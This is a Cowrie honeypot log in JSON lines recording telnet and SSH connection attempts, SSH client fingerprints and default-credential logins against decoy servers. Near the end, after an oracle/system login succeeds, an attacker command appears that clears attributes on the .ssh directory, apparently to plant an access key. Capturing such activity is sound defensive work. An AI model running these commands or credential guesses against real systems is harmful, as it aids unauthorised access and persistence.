{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40202,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d3f0fb8ed79","protocol":"telnet","message":"New connection: 45.58.127.90:40202 (10.17.0.5:23) [session: 3d3f0fb8ed79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:48.822711Z"}
{"eventid":"cowrie.session.closed","duration":42.4976589679718,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:51.894929Z","src_ip":"45.58.127.90","session":"cf91b719219d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.6550030708313,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:59.038828Z","src_ip":"45.58.127.90","session":"e07fad7127c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36926,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b4a6763d533","protocol":"telnet","message":"New connection: 147.182.143.59:36926 (159.203.135.109:23) [session: 3b4a6763d533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:06.569885Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40116,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fd88b99fa5c","protocol":"telnet","message":"New connection: 147.182.143.59:40116 (159.203.135.109:23) [session: 0fd88b99fa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:12.934633Z"}
{"eventid":"cowrie.session.closed","duration":46.19426989555359,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:13.863543Z","src_ip":"45.58.127.90","session":"26ea30c1a739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.454188108444214,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:20.023934Z","src_ip":"147.182.143.59","session":"3b4a6763d533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60328,"dst_ip":"10.17.0.5","dst_port":23,"session":"3308c8bf3fff","protocol":"telnet","message":"New connection: 45.58.127.90:60328 (10.17.0.5:23) [session: 3308c8bf3fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:24.913702Z"}
{"eventid":"cowrie.session.closed","duration":12.828266382217407,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:25.762750Z","src_ip":"147.182.143.59","session":"0fd88b99fa5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.16214871406555,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:28.984775Z","src_ip":"45.58.127.90","session":"3d3f0fb8ed79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36904,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b84677d945d","protocol":"telnet","message":"New connection: 147.182.143.59:36904 (159.203.135.109:23) [session: 9b84677d945d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:32.659932Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49276,"dst_ip":"10.17.0.5","dst_port":23,"session":"b39bae7525cb","protocol":"telnet","message":"New connection: 45.58.127.90:49276 (10.17.0.5:23) [session: b39bae7525cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:34.285706Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49296,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b8164eba5d9","protocol":"telnet","message":"New connection: 45.58.127.90:49296 (10.17.0.5:23) [session: 9b8164eba5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:36.394082Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49292,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d2f4b408ec0","protocol":"telnet","message":"New connection: 45.58.127.90:49292 (10.17.0.5:23) [session: 3d2f4b408ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:37.075837Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":20876,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d82e682e0f8","protocol":"ssh","message":"New connection: 31.57.216.16:20876 (159.203.135.109:22) [session: 7d82e682e0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:39.237245Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:39.245573Z","src_ip":"31.57.216.16","session":"7d82e682e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":20882,"dst_ip":"159.203.135.109","dst_port":22,"session":"a234072d820e","protocol":"ssh","message":"New connection: 31.57.216.16:20882 (159.203.135.109:22) [session: a234072d820e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:39.410441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:39.415756Z","src_ip":"31.57.216.16","session":"a234072d820e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:39.519714Z","src_ip":"31.57.216.16","session":"a234072d820e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:39.868203Z","src_ip":"31.57.216.16","session":"a234072d820e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:41.006684Z","src_ip":"31.57.216.16","session":"a234072d820e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.980797290802002,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:45.640631Z","src_ip":"147.182.143.59","session":"9b84677d945d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55310,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b5025d7c430","protocol":"telnet","message":"New connection: 45.58.127.90:55310 (10.17.0.5:23) [session: 0b5025d7c430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:16:55.430074Z"}
{"eventid":"cowrie.session.closed","duration":39.82751250267029,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:04.741130Z","src_ip":"45.58.127.90","session":"3308c8bf3fff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.1965012550354,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:10.482114Z","src_ip":"45.58.127.90","session":"b39bae7525cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06941103935242,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:14.145094Z","src_ip":"45.58.127.90","session":"3d2f4b408ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37324,"dst_ip":"159.203.135.109","dst_port":23,"session":"0507f9d8ecb2","protocol":"telnet","message":"New connection: 147.182.143.59:37324 (159.203.135.109:23) [session: 0507f9d8ecb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:18.090157Z"}
{"eventid":"cowrie.session.closed","duration":42.6133496761322,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:19.007310Z","src_ip":"45.58.127.90","session":"9b8164eba5d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33942,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0987508ed7d","protocol":"telnet","message":"New connection: 45.58.127.90:33942 (10.17.0.5:23) [session: e0987508ed7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:23.506989Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37328,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa0704f98f9","protocol":"telnet","message":"New connection: 147.182.143.59:37328 (159.203.135.109:23) [session: faa0704f98f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:27.031845Z"}
{"eventid":"cowrie.session.closed","duration":10.832837343215942,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:28.922893Z","src_ip":"147.182.143.59","session":"0507f9d8ecb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"d409b32a717a","protocol":"telnet","message":"New connection: 147.182.143.59:35840 (159.203.135.109:23) [session: d409b32a717a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:29.786670Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"55cea461dd4e","protocol":"telnet","message":"New connection: 45.58.127.90:34032 (10.17.0.5:23) [session: 55cea461dd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:31.085354Z"}
{"eventid":"cowrie.session.closed","duration":39.98527669906616,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:35.415246Z","src_ip":"45.58.127.90","session":"0b5025d7c430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34048,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb28b81e39d7","protocol":"telnet","message":"New connection: 45.58.127.90:34048 (10.17.0.5:23) [session: eb28b81e39d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:37.366832Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45290,"dst_ip":"10.17.0.5","dst_port":23,"session":"3975c5ef0173","protocol":"telnet","message":"New connection: 45.58.127.90:45290 (10.17.0.5:23) [session: 3975c5ef0173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:38.449562Z"}
{"eventid":"cowrie.session.closed","duration":12.088234186172485,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:39.119864Z","src_ip":"147.182.143.59","session":"faa0704f98f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.43311858177185,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:41.219659Z","src_ip":"147.182.143.59","session":"d409b32a717a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58614,"dst_ip":"10.17.0.5","dst_port":23,"session":"da3468697ece","protocol":"telnet","message":"New connection: 45.58.127.90:58614 (10.17.0.5:23) [session: da3468697ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:51.445003Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58622,"dst_ip":"10.17.0.5","dst_port":23,"session":"64827c6ed4f6","protocol":"telnet","message":"New connection: 45.58.127.90:58622 (10.17.0.5:23) [session: 64827c6ed4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:17:52.917112Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40954,"dst_ip":"159.203.135.109","dst_port":23,"session":"320539f25156","protocol":"telnet","message":"New connection: 147.182.143.59:40954 (159.203.135.109:23) [session: 320539f25156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:00.060414Z"}
{"eventid":"cowrie.session.closed","duration":39.92692041397095,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:03.433805Z","src_ip":"45.58.127.90","session":"e0987508ed7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.510236024856567,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:09.570525Z","src_ip":"147.182.143.59","session":"320539f25156","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.55003309249878,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:10.635284Z","src_ip":"45.58.127.90","session":"55cea461dd4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35631823539734,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:14.805765Z","src_ip":"45.58.127.90","session":"3975c5ef0173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.42669725418091,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:16.793407Z","src_ip":"45.58.127.90","session":"eb28b81e39d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.842920541763306,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:30.287799Z","src_ip":"45.58.127.90","session":"da3468697ece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.8740713596344,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:38.791232Z","src_ip":"45.58.127.90","session":"64827c6ed4f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35216,"dst_ip":"10.17.0.5","dst_port":23,"session":"e82515be64ca","protocol":"telnet","message":"New connection: 45.58.127.90:35216 (10.17.0.5:23) [session: e82515be64ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:39.668022Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45998,"dst_ip":"10.17.0.5","dst_port":23,"session":"24b7d116e09c","protocol":"telnet","message":"New connection: 45.58.127.90:45998 (10.17.0.5:23) [session: 24b7d116e09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:55.955910Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":45270,"dst_ip":"10.17.0.5","dst_port":22,"session":"43a79f3ff2a2","protocol":"ssh","message":"New connection: 187.230.120.231:45270 (10.17.0.5:22) [session: 43a79f3ff2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:57.547841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:57.552445Z","src_ip":"187.230.120.231","session":"43a79f3ff2a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:57.649508Z","src_ip":"187.230.120.231","session":"43a79f3ff2a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"abc","message":"login attempt [tester/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:58.060346Z","src_ip":"187.230.120.231","session":"43a79f3ff2a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:18:59.158430Z","src_ip":"187.230.120.231","session":"43a79f3ff2a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58312,"dst_ip":"159.203.135.109","dst_port":23,"session":"9037a6c81606","protocol":"telnet","message":"New connection: 147.182.143.59:58312 (159.203.135.109:23) [session: 9037a6c81606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:01.589832Z"}
{"eventid":"cowrie.session.closed","duration":8.19688081741333,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:09.786611Z","src_ip":"147.182.143.59","session":"9037a6c81606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.046077728271484,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:22.713958Z","src_ip":"45.58.127.90","session":"e82515be64ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44786,"dst_ip":"159.203.135.109","dst_port":23,"session":"bce5b3f180b5","protocol":"telnet","message":"New connection: 147.182.143.59:44786 (159.203.135.109:23) [session: bce5b3f180b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:28.496552Z"}
{"eventid":"cowrie.session.closed","duration":39.03413438796997,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:34.989900Z","src_ip":"45.58.127.90","session":"24b7d116e09c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":45672,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ff85cb6d33d","protocol":"ssh","message":"New connection: 14.103.114.231:45672 (10.17.0.5:22) [session: 3ff85cb6d33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:38.207947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:38.212733Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:38.446007Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"system","message":"login attempt [oracle/system] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:40.008443Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.892367124557495,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:40.388798Z","src_ip":"147.182.143.59","session":"bce5b3f180b5","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:40.519610Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:40.522796Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:19:40.526815Z","src_ip":"14.103.114.231","session":"3ff85cb6d33d","protocol":"ssh"}
